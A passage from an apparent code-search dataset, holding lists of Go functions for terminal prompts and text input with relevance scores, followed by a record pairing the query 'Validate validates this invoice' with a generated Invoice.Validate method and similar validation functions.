{\\n\\t\\t\\t\\tidx--\\n\\t\\t\\t}\\n\\n\\t\\t\\terr = buf.Set([]rune(term.History[idx])...)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn buf.String(), err\\n\\t\\t\\t}\\n\\n\\t\\t\\tterm.histIdx = idx\\n\\t\\tcase evDown:\\n\\t\\t\\tidx := term.histIdx\\n\\t\\t\\tif term.histIdx < len(term.History)-1 {\\n\\t\\t\\t\\tidx++\\n\\t\\t\\t}\\n\\n\\t\\t\\terr = buf.Set([]rune(term.History[idx])...)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn buf.String(), err\\n\\t\\t\\t}\\n\\n\\t\\t\\tterm.histIdx = idx\\n\\t\\tcase evRight:\\n\\t\\t\\terr = buf.Right()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn buf.String(), err\\n\\t\\t\\t}\\n\\t\\tcase evLeft:\\n\\t\\t\\terr = buf.Left()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn buf.String(), err\\n\\t\\t\\t}\\n\\t\\tcase evDel:\\n\\t\\t\\terr = buf.Del()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn buf.String(), err\\n\\t\\t\\t}\\n\\n\\t\\t\\tterm.History[curHistIdx] = buf.String()\\n\\t\\t}\\n\\t}\\n}\",\n \"func PrintPrompt() {\\n\\n\\tvar prompt String\\n\\n\\tme := syscall.GetUser()\\n\\tpath = \\\"/user/\\\" + me\\n\\tprompt = String(\\\"[\\\" + String(me) + \\\" @ \\\" + currDirectory + \\\"]: \\\")\\n\\n\\taltEthos.WriteStream(syscall.Stdout, &prompt)\\n\\n}\",\n \"func PrintPrompt(g *gocui.Gui) {\\n\\tpromptString := \\\"[w,a,s,d,e,?] >>\\\"\\n\\n\\tg.Update(func(g *gocui.Gui) error {\\n\\t\\tv, err := g.View(Prompt)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tv.Clear()\\n\\t\\tv.MoveCursor(0, 0, true)\\n\\n\\t\\tif consecutiveError == 0 {\\n\\t\\t\\tfmt.Fprintf(v, color.Green(color.Regular, promptString))\\n\\t\\t} else {\\n\\t\\t\\tfmt.Fprintf(v, color.Red(color.Regular, promptString))\\n\\t\\t}\\n\\t\\treturn nil\\n\\t})\\n}\",\n \"func ReadString(prompt string) string {\\n\\tfmt.Printf(\\\"%s: \\\", prompt)\\n\\tr := bufio.NewReader(os.Stdin)\\n\\tstr, _ := r.ReadString('\\\\n')\\n\\treturn strings.TrimSpace(str)\\n}\",\n \"func (v Repository) Prompt() string {\\n\\tif v.Path == \\\".\\\" {\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\treturn v.Path + \\\"> \\\"\\n}\",\n \"func (e *Input) Text() string {\\n\\treturn e.text.String()\\n}\",\n \"func GetBasicArithmeticPromptString(function string) (string, string) {\\n\\tswitch function {\\n\\tcase \\\"permutation\\\", \\\"p\\\", \\\"combination\\\", \\\"c\\\":\\n\\t\\treturn \\\"n\\\", \\\"r\\\"\\n\\tdefault:\\n\\t\\treturn \\\"x\\\", \\\"y\\\"\\n\\t}\\n}\",\n \"func Promptln(a interfaces.AssumeCredentialProcess, emoji string, prefix string, message string) {\\n\\ts := a.GetDestination()\\n\\tformatted := format(a, textColorPrompt, emoji, prefix, message)\\n\\tfmt.Fprintln(s, formatted)\\n}\",\n \"func terminalPrompt(prompt string) (string, error) {\\n\\tfmt.Printf(\\\"%s: \\\", prompt)\\n\\tb, err := terminal.ReadPassword(1)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\tfmt.Println()\\n\\treturn string(b), nil\\n}\",\n \"func (s GetPromptFileOutput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func (s DeletePromptInput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func (s PromptAttemptSpecification) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func (module *Crawler) Prompt(what string) {\\n}\",\n \"func Ask(question string) string {\\n\\tfmt.Fprintln(Out, question)\\n\\n\\treturn prompt()\\n}\",\n \"func ReadString(prompt string) ([]byte, error) {\\n\\treader := bufio.NewReader(os.Stdin)\\n\\tfmt.Fprintf(os.Stderr, \\\"%v \\\", prompt)\\n\\tline, _ := reader.ReadString('\\\\n')\\n\\tline = strings.TrimRight(line, \\\" \\\\n\\\\r\\\")\\n\\treturn []byte(line), nil\\n}\",\n \"func (p *Player) prompt() {\\n\\t// TODO: standard/custom prompts\\n\\tp.writer.Write([]byte(\\\">\\\"))\\n}\",\n \"func (i *Input) Text() string {\\n\\tif len(i.lines) == 0 {\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\n\\tif len(i.lines) == 1 {\\n\\t\\treturn i.lines[0]\\n\\t}\\n\\n\\tif i.IsMultiLine {\\n\\t\\treturn strings.Join(i.lines, NEW_LINE)\\n\\t} else {\\n\\t\\t// we should never get here!\\n\\t\\treturn i.lines[0]\\n\\t}\\n}\",\n \"func (t *Term) Prompt(prompt string) {\\n\\tt._prompt = prompt\\n}\",\n \"func PromptUserForInput(prompt string, terragruntOptions *options.TerragruntOptions) (string, error) {\\n\\t// We are writing directly to ErrWriter so the prompt is always visible\\n\\t// no matter what logLevel is configured. If `--non-interactive` is set, we log both prompt and\\n\\t// a message about assuming `yes` to Debug, so\\n\\tif terragruntOptions.NonInteractive {\\n\\t\\tterragruntOptions.Logger.Debugf(prompt)\\n\\t\\tterragruntOptions.Logger.Debugf(\\\"The non-interactive flag is set to true, so assuming 'yes' for all prompts\\\")\\n\\t\\treturn \\\"yes\\\", nil\\n\\t}\\n\\tn, err := terragruntOptions.ErrWriter.Write([]byte(prompt))\\n\\tif err != nil {\\n\\t\\tterragruntOptions.Logger.Error(err)\\n\\t\\treturn \\\"\\\", errors.WithStackTrace(err)\\n\\t}\\n\\tif n != len(prompt) {\\n\\t\\tterragruntOptions.Logger.Errorln(\\\"Failed to write data\\\")\\n\\t\\treturn \\\"\\\", errors.WithStackTrace(err)\\n\\t}\\n\\n\\treader := bufio.NewReader(os.Stdin)\\n\\n\\ttext, err := reader.ReadString('\\\\n')\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", errors.WithStackTrace(err)\\n\\t}\\n\\n\\treturn strings.TrimSpace(text), nil\\n}\",\n \"func Prompt(s string) rune {\\n\\tacceptedRunes := \\\"\\\"\\n\\n\\t// show parentheticals in bold\\n\\tline := make([]segment, 0)\\n\\tpos := 0\\n\\tfor pos < len(s) {\\n\\t\\topen := strings.IndexRune(s[pos:], '(')\\n\\t\\tif open == -1 {\\n\\t\\t\\tline = append(line, segment{text: s[pos:]})\\n\\t\\t\\tbreak\\n\\t\\t} else {\\n\\t\\t\\tclose := strings.IndexRune(s[pos+open:], ')')\\n\\t\\t\\tif close == -1 {\\n\\t\\t\\t\\tline = append(line, segment{text: s[pos:]})\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tline = append(line, segment{text: s[pos : pos+open]})\\n\\t\\t\\t\\tline = append(line, segment{\\n\\t\\t\\t\\t\\ttext: s[pos+open : pos+open+close+1],\\n\\t\\t\\t\\t\\tfg: colorDefault | bold,\\n\\t\\t\\t\\t})\\n\\t\\t\\t\\tacceptedRunes += s[pos+open+1 : pos+open+close]\\n\\t\\t\\t\\tpos += open + close + 1\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// add space before cursor\\n\\tline = append(line, segment{text: \\\" \\\"})\\n\\n\\t// wait for and return a valid rune\\n\\twrite <- line\\n\\tchange <- modePrompt\\n\\tfor {\\n\\t\\tch := <-prompt\\n\\t\\tif strings.ContainsRune(acceptedRunes, ch) {\\n\\t\\t\\trewrite <- append(line, segment{text: string(ch)})\\n\\t\\t\\tchange <- modeWorking\\n\\t\\t\\treturn ch\\n\\t\\t}\\n\\t}\\n}\",\n \"func ReadTextFromConsole(message string) (string, error) {\\n\\treader := bufio.NewReader(os.Stdin)\\n\\n\\tfmt.Print(message)\\n\\ttext, err := reader.ReadString('\\\\n')\\n\\n\\treturn text, err\\n}\",\n \"func (cp *ConfirmPrompt) Run() (string, error) {\\n\\tswitch cp.Default {\\n\\tcase \\\"Y\\\", \\\"N\\\", \\\"n\\\", \\\"y\\\":\\n\\tcase \\\"\\\":\\n\\t\\tcp.Default = \\\"N\\\"\\n\\tdefault:\\n\\t\\treturn \\\"\\\", ErrorIncorrect\\n\\t}\\n\\terr := cp.Init()\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tcp.confirmDefault = strings.ToUpper(cp.Default)\\n\\n\\tcp.c.Stdin = ioutil.NopCloser(io.MultiReader(bytes.NewBuffer([]byte(cp.out)), os.Stdin))\\n\\n\\tcp.rl, err = readline.NewEx(cp.c)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tcp.punctuation = \\\"?\\\"\\n\\tanswers := \\\"y/N\\\"\\n\\tif strings.ToLower(cp.Default) == \\\"y\\\" {\\n\\t\\tanswers = \\\"Y/n\\\"\\n\\t}\\n\\tif cp.ConfirmOpt != \\\"\\\" {\\n\\t\\tanswers = answers + \\\"/\\\" + cp.ConfirmOpt\\n\\t}\\n\\tcp.suggestedAnswer = \\\" \\\" + faint(\\\"[\\\"+answers+\\\"]\\\")\\n\\t// cp.confirmDefault = strings.ToUpper(cp.Default)\\n\\t// cp.Default = \\\"\\\"\\n\\tcp.prompt = cp.LabelInitial(cp.Label) + cp.punctuation + cp.suggestedAnswer + \\\" \\\"\\n\\t// cp.out = cp.Default\\n\\t// cp.c.Stdin = ioutil.NopCloser(io.MultiReader(bytes.NewBuffer([]byte(cp.out)), os.Stdin))\\n\\n\\tsetupConfirm(cp.c, cp.prompt, cp, cp.rl)\\n\\tcp.out, err = cp.rl.Readline()\\n\\tif cp.out == \\\"\\\" {\\n\\t\\tcp.out = cp.confirmDefault\\n\\t}\\n\\tif err != nil {\\n\\t\\tif err.Error() == \\\"Interrupt\\\" {\\n\\t\\t\\terr = ErrInterrupt\\n\\t\\t}\\n\\t\\tcp.rl.Write([]byte(\\\"\\\\n\\\"))\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\tcp.out = strings.ToUpper(cp.out)\\n\\tcp.state = cp.IconGood\\n\\tcp.out = cp.Formatter(cp.out)\\n\\tseparator := \\\" \\\"\\n\\tif cp.NoIcons {\\n\\t\\tseparator = \\\"\\\"\\n\\t}\\n\\tcp.rl.Write([]byte(cp.Indent + cp.state + separator + cp.prompt + cp.InputResult(cp.out) + \\\"\\\\n\\\"))\\n\\treturn cp.out, err\\n}\",\n \"func (s SearchPromptsOutput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func (t *TextField) Text() string {\\n\\treturn t.input.Unwrap().Get(\\\"value\\\").String()\\n}\",\n \"func Intro() string {\\n var name string\\n TypedText(\\\"\\\\n\\\\nYou wake up in a cold dark room\\\", 50)\\n TypedText(\\\"...\\\", 300)\\n TypedText(\\\"\\\\n\\\\nYou can't remember much\\\", 50)\\n TypedText(\\\"...\\\", 300)\\n TypedText(\\\"\\\\n\\\\nOnly that your name is: \\\", 50)\\n fmt.Scanln(&name)\\n if len(name) < 1 || len(name) > 16 {\\n fmt.Printf(\\\"\\\\nPlease enter a name between 1 and 16 characters.\\\")\\n time.Sleep(3 * time.Second)\\n ClearScreen()\\n Intro()\\n } else {\\n TypedText(\\\"\\\\nYou don't know how or why you are here\\\", 50)\\n TypedText(\\\"...\\\", 300)\\n TypedText(\\\"\\\\n\\\\nYou just have a strong urge to escape\\\", 50)\\n TypedText(\\\"...\\\", 300)\\n }\\n \\n return name\\n}\",\n \"func stdInText(b strings.Builder) (string, uint, error) {\\n\\tvar count uint\\n\\tscanner := bufio.NewScanner(os.Stdin)\\n\\n\\tfor scanner.Scan() {\\n\\t\\tb.WriteString(scanner.Text())\\n\\t\\tb.WriteString(\\\" \\\")\\n\\t\\tcount++\\n\\t}\\n\\n\\tif err := scanner.Err(); err != nil {\\n\\t\\treturn \\\"\\\", 0, err\\n\\t}\\n\\n\\treturn strings.TrimSpace(b.String()), count, nil\\n}\",\n \"func (t *Text) String() string {\\n\\treturn output(t)\\n}\",\n \"func userInputString(prompt string) string {\\n\\n\\tfmt.Printf(\\\"\\\\n%s\\\", prompt)\\n\\treader := bufio.NewReader(os.Stdin)\\n\\tname, err := reader.ReadString('\\\\n')\\n\\tif err != nil {\\n \\t\\tfmt.Println(err)\\n \\t\\treturn \\\"\\\"\\n \\t}\\n \\tif runtime.GOOS == \\\"windows\\\" {\\n \\t\\tname = strings.TrimRight(name, \\\"\\\\r\\\\n\\\") \\t\\t/* for windows */\\n \\t} else {\\n\\t\\tname = strings.TrimRight(name, \\\"\\\\n\\\") \\t\\t/* for linux */\\n\\t}\\n\\treturn name\\n}\",\n \"func (client *Client) Text() (out string, err error) {\\n\\tif err = client.init(); err != nil {\\n\\t\\treturn\\n\\t}\\n\\tout = C.GoString(C.UTF8Text(client.api))\\n\\tif client.Trim {\\n\\t\\tout = strings.Trim(out, \\\"\\\\n\\\")\\n\\t}\\n\\treturn out, err\\n}\",\n \"func PromptMessage(a ...interface{}) (n int, err error) {\\n\\treturn MessageWithType(MsgPrompt, a...)\\n}\",\n \"func (s SearchPromptsInput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func (v Season_Uc_Ta) Text() string {\\n\\ts, _ := v.marshalText()\\n\\treturn s\\n}\",\n \"func Text(code Code) string {\\n\\treturn strconv.Itoa(code.Int()) + \\\" \\\" + code.String()\\n}\",\n \"func (s DeletePromptOutput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func Prompt() {\\n\\tcurrDir := strings.Trim(commands.CurrentWD(), \\\"\\\\n\\\")\\n\\tfmt.Printf(\\\"%v $: \\\", currDir)\\n}\",\n \"func (o TimelineOutput) ProgramText() pulumi.StringOutput {\\n\\treturn o.ApplyT(func(v *Timeline) pulumi.StringOutput { return v.ProgramText }).(pulumi.StringOutput)\\n}\",\n \"func (t Terminal) Hidden(prompt string) (string, error) {\\n\\tvar (\\n\\t\\ttext string\\n\\t\\terr error\\n\\t)\\n\\n\\tif prompt != \\\"\\\" {\\n\\t\\tfmt.Fprintf(t.ErrorOutput, \\\"%s \\\", prompt)\\n\\t}\\n\\n\\tin, inIsFile := t.Input.(*os.File)\\n\\n\\tif inIsFile && terminal.IsTerminal(int(in.Fd())) {\\n\\t\\tvar lineBytes []byte\\n\\n\\t\\tlineBytes, err = terminal.ReadPassword(int(in.Fd()))\\n\\t\\ttext = string(lineBytes)\\n\\t} else {\\n\\t\\ttext, err = t.Read(\\\"\\\")\\n\\t}\\n\\n\\tfmt.Fprintln(t.ErrorOutput, \\\"***\\\")\\n\\n\\treturn strings.TrimSpace(text), err\\n}\",\n \"func (r *Reply) Text(format string, values ...interface{}) *Reply {\\n\\tr.ContentType(ahttp.ContentTypePlainText.String())\\n\\tr.Render(&textRender{Format: format, Values: values})\\n\\treturn r\\n}\",\n \"func Ask(prompt string) (password string, err error) {\\n\\treturn FAsk(os.Stdout, prompt)\\n}\",\n \"func NewConstPlainPrompt(s string) Prompt {\\n\\treturn constPrompt{styled.Plain(s)}\\n}\",\n \"func NewFuncPlainPrompt(f func() string) Prompt {\\n\\treturn funcPrompt{func() styled.Text { return styled.Plain(f()) }}\\n}\",\n \"func Text(v string) UI {\\n\\treturn &text{textValue: v}\\n}\",\n \"func String(pr string, defaultValue string) string {\\n\\treturn defaultPrompter.String(pr, defaultValue)\\n}\",\n \"func (v Season_Ic_Ta) Text() string {\\n\\ts, _ := v.marshalText()\\n\\treturn s\\n}\",\n \"func (s ListPromptsOutput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func TermPrompt(prompt string, options []string, wait bool) int {\\n\\tscreenb := TempFini()\\n\\n\\tidx := -1\\n\\t// same behavior as do { ... } while (wait && idx == -1)\\n\\tfor ok := true; ok; ok = wait && idx == -1 {\\n\\t\\treader := bufio.NewReader(os.Stdin)\\n\\t\\tfmt.Print(prompt)\\n\\t\\tresp, _ := reader.ReadString('\\\\n')\\n\\t\\tresp = strings.TrimSpace(resp)\\n\\n\\t\\tfor i, opt := range options {\\n\\t\\t\\tif resp == opt {\\n\\t\\t\\t\\tidx = i\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif wait && idx == -1 {\\n\\t\\t\\tfmt.Println(\\\"\\\\nInvalid choice.\\\")\\n\\t\\t}\\n\\t}\\n\\n\\tTempStart(screenb)\\n\\n\\treturn idx\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6822254","0.6748872","0.6731094","0.6474014","0.64697516","0.6310034","0.628811","0.6287616","0.6280171","0.6254487","0.6247146","0.62453324","0.6210253","0.62010115","0.6150892","0.6146083","0.6128338","0.61146104","0.605613","0.6050503","0.6043243","0.5991858","0.5968955","0.59638613","0.5926607","0.59138346","0.5909699","0.5908343","0.59065247","0.58871496","0.58856565","0.5867483","0.58513796","0.58421195","0.5837624","0.58228225","0.5810576","0.57857776","0.5729121","0.570467","0.56954175","0.56212574","0.5617347","0.561642","0.56157815","0.56036437","0.5596818","0.5593492","0.5559394","0.55556834","0.5554735","0.5527197","0.5482198","0.5479839","0.5474364","0.54723","0.54722315","0.5470784","0.5468269","0.54661065","0.543615","0.5433801","0.54182464","0.54167175","0.5380122","0.5377112","0.5364689","0.53601533","0.5349383","0.53474575","0.53415304","0.5336081","0.53135496","0.5303373","0.52758276","0.527348","0.52334267","0.52279747","0.5225645","0.520814","0.51998365","0.5190681","0.51906615","0.51770437","0.5172363","0.5171776","0.5165001","0.5156152","0.51519644","0.5146068","0.5145383","0.5120449","0.5110585","0.50995517","0.50967926","0.5096704","0.5095207","0.5076427","0.50747997","0.5073401"],"string":"[\n \"0.6822254\",\n \"0.6748872\",\n \"0.6731094\",\n \"0.6474014\",\n \"0.64697516\",\n \"0.6310034\",\n \"0.628811\",\n \"0.6287616\",\n \"0.6280171\",\n \"0.6254487\",\n \"0.6247146\",\n \"0.62453324\",\n \"0.6210253\",\n \"0.62010115\",\n \"0.6150892\",\n \"0.6146083\",\n \"0.6128338\",\n \"0.61146104\",\n \"0.605613\",\n \"0.6050503\",\n \"0.6043243\",\n \"0.5991858\",\n \"0.5968955\",\n \"0.59638613\",\n \"0.5926607\",\n \"0.59138346\",\n \"0.5909699\",\n \"0.5908343\",\n \"0.59065247\",\n \"0.58871496\",\n \"0.58856565\",\n \"0.5867483\",\n \"0.58513796\",\n \"0.58421195\",\n \"0.5837624\",\n \"0.58228225\",\n \"0.5810576\",\n \"0.57857776\",\n \"0.5729121\",\n \"0.570467\",\n \"0.56954175\",\n \"0.56212574\",\n \"0.5617347\",\n \"0.561642\",\n \"0.56157815\",\n \"0.56036437\",\n \"0.5596818\",\n \"0.5593492\",\n \"0.5559394\",\n \"0.55556834\",\n \"0.5554735\",\n \"0.5527197\",\n \"0.5482198\",\n \"0.5479839\",\n \"0.5474364\",\n \"0.54723\",\n \"0.54722315\",\n \"0.5470784\",\n \"0.5468269\",\n \"0.54661065\",\n \"0.543615\",\n \"0.5433801\",\n \"0.54182464\",\n \"0.54167175\",\n \"0.5380122\",\n \"0.5377112\",\n \"0.5364689\",\n \"0.53601533\",\n \"0.5349383\",\n \"0.53474575\",\n \"0.53415304\",\n \"0.5336081\",\n \"0.53135496\",\n \"0.5303373\",\n \"0.52758276\",\n \"0.527348\",\n \"0.52334267\",\n \"0.52279747\",\n \"0.5225645\",\n \"0.520814\",\n \"0.51998365\",\n \"0.5190681\",\n \"0.51906615\",\n \"0.51770437\",\n \"0.5172363\",\n \"0.5171776\",\n \"0.5165001\",\n \"0.5156152\",\n \"0.51519644\",\n \"0.5146068\",\n \"0.5145383\",\n \"0.5120449\",\n \"0.5110585\",\n \"0.50995517\",\n \"0.50967926\",\n \"0.5096704\",\n \"0.5095207\",\n \"0.5076427\",\n \"0.50747997\",\n \"0.5073401\"\n]"},"document_score":{"kind":"string","value":"0.69208825"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106155,"cells":{"query":{"kind":"string","value":"Validate validates this invoice"},"document":{"kind":"string","value":"func (m *Invoice) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateChanges(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCurrency(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCustomer(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateEhfSendStatus(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInvoiceDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInvoiceDueDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInvoiceNumber(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateKid(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateOrders(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePaymentTypeID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePostings(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateProjectInvoiceDetails(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateReminders(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVoucher(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (m *Invoice) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAccountID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateAuditLogs(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCredits(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCurrency(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInvoiceDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInvoiceID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateParentAccountID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateParentInvoiceID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStatus(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTargetDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *CreateInvoiceRequest) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateIdempotencyKey(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInvoice(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *ListInvoicesRequest) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateLocationID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (c *Create) Validate(dtInv *data.Inventory) error {\n\treturn dtInv.Validate()\n}","func (m *SalesDataInvoiceItemInterface) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateOrderItemID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateQty(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateSku(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *Invoice) ContextValidate(ctx context.Context, formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.contextValidateAuditLogs(ctx, formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.contextValidateCredits(ctx, formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.contextValidateItems(ctx, formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *CreateInvoiceRequest) ContextValidate(ctx context.Context, formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.contextValidateInvoice(ctx, formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func validateInvoiceDetails(stub shim.ChaincodeStubInterface, args []string) string {\n\tvar output string\n\tvar errorMessages []string\n\tvar invoices []map[string]interface{}\n\tvar ufaDetails map[string]interface{}\n\t//I am assuming the invoices would sent as an array and must be multiple\n\tpayload := args[1]\n\tjson.Unmarshal([]byte(payload), &invoices)\n\tif len(invoices) < 2 {\n\t\terrorMessages = append(errorMessages, \"Invalid number of invoices\")\n\t} else {\n\t\t//Now checking the ufa number\n\t\tfirstInvoice := invoices[0]\n\t\tufanumber := getSafeString(firstInvoice[\"ufanumber\"])\n\t\tif ufanumber == \"\" {\n\t\t\terrorMessages = append(errorMessages, \"UFA number not provided\")\n\t\t} else {\n\t\t\trecBytes, err := stub.GetState(ufanumber)\n\t\t\tif err != nil || recBytes == nil {\n\t\t\t\terrorMessages = append(errorMessages, \"Invalid UFA number provided\")\n\t\t\t} else {\n\t\t\t\tjson.Unmarshal(recBytes, &ufaDetails)\n\t\t\t\t//Rasied invoice shoul not be exhausted\n\t\t\t\traisedTotal := getSafeNumber(ufaDetails[\"raisedInvTotal\"])\n\t\t\t\ttotalCharge := getSafeNumber(ufaDetails[\"netCharge\"])\n\t\t\t\ttolerance := getSafeNumber(ufaDetails[\"chargTolrence\"])\n\t\t\t\tmaxCharge := totalCharge + (totalCharge * tolerance / 100)\n\t\t\t\tif raisedTotal == maxCharge {\n\t\t\t\t\terrorMessages = append(errorMessages, \"All charges exhausted. Invoices can not raised\")\n\t\t\t\t}\n\t\t\t\t//Now check if invoice is already raised for the period or not\n\t\t\t\tbillingPerid := getSafeString(firstInvoice[\"billingPeriod\"])\n\t\t\t\tif billingPerid == \"\" {\n\t\t\t\t\terrorMessages = append(errorMessages, \"Invalid billing period\")\n\t\t\t\t}\n\t\t\t\tif ufaDetails[\"invperiod_\"+billingPerid] != nil {\n\t\t\t\t\terrorMessages = append(errorMessages, \"Invoice already raised for the month\")\n\t\t\t\t}\n\t\t\t\t//Now check the sum of invoice amount\n\t\t\t\trunningTotal := 0.0\n\t\t\t\tvar buffer bytes.Buffer\n\t\t\t\tfor _, invoice := range invoices {\n\t\t\t\t\tinvoiceNumber := getSafeString(invoice[\"invoiceNumber\"])\n\t\t\t\t\tamount := getSafeNumber(invoice[\"invoiceAmt\"])\n\t\t\t\t\tif amount < 0 {\n\t\t\t\t\t\terrorMessages = append(errorMessages, \"Invalid invoice amount in \"+invoiceNumber)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\tbuffer.WriteString(invoiceNumber)\n\t\t\t\t\tbuffer.WriteString(\",\")\n\t\t\t\t\trunningTotal = runningTotal + amount\n\t\t\t\t}\n\t\t\t\tif (raisedTotal + runningTotal/2) >= maxCharge {\n\t\t\t\t\terrorMessages = append(errorMessages, \"Invoice value is exceeding total allowed charge\")\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\n\t}\n\tif len(errorMessages) == 0 {\n\t\toutput = \"\"\n\t} else {\n\t\toutputBytes, _ := json.Marshal(errorMessages)\n\t\toutput = string(outputBytes)\n\t}\n\treturn output\n}","func (mt *EasypostInsurance) Validate() (err error) {\n\tif mt.ID == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"id\"))\n\t}\n\tif mt.Object == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"object\"))\n\t}\n\n\tif mt.Fee != nil {\n\t\tif err2 := mt.Fee.Validate(); err2 != nil {\n\t\t\terr = goa.MergeErrors(err, err2)\n\t\t}\n\t}\n\tif mt.FromAddress != nil {\n\t\tif err2 := mt.FromAddress.Validate(); err2 != nil {\n\t\t\terr = goa.MergeErrors(err, err2)\n\t\t}\n\t}\n\tif ok := goa.ValidatePattern(`^ins_`, mt.ID); !ok {\n\t\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.id`, mt.ID, `^ins_`))\n\t}\n\tif !(mt.Mode == \"test\" || mt.Mode == \"production\") {\n\t\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.mode`, mt.Mode, []interface{}{\"test\", \"production\"}))\n\t}\n\tif ok := goa.ValidatePattern(`^Insurance$`, mt.Object); !ok {\n\t\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.object`, mt.Object, `^Insurance$`))\n\t}\n\tif mt.Status != nil {\n\t\tif !(*mt.Status == \"cancelled\" || *mt.Status == \"failed\" || *mt.Status == \"purchased\" || *mt.Status == \"pending\" || *mt.Status == \"new\") 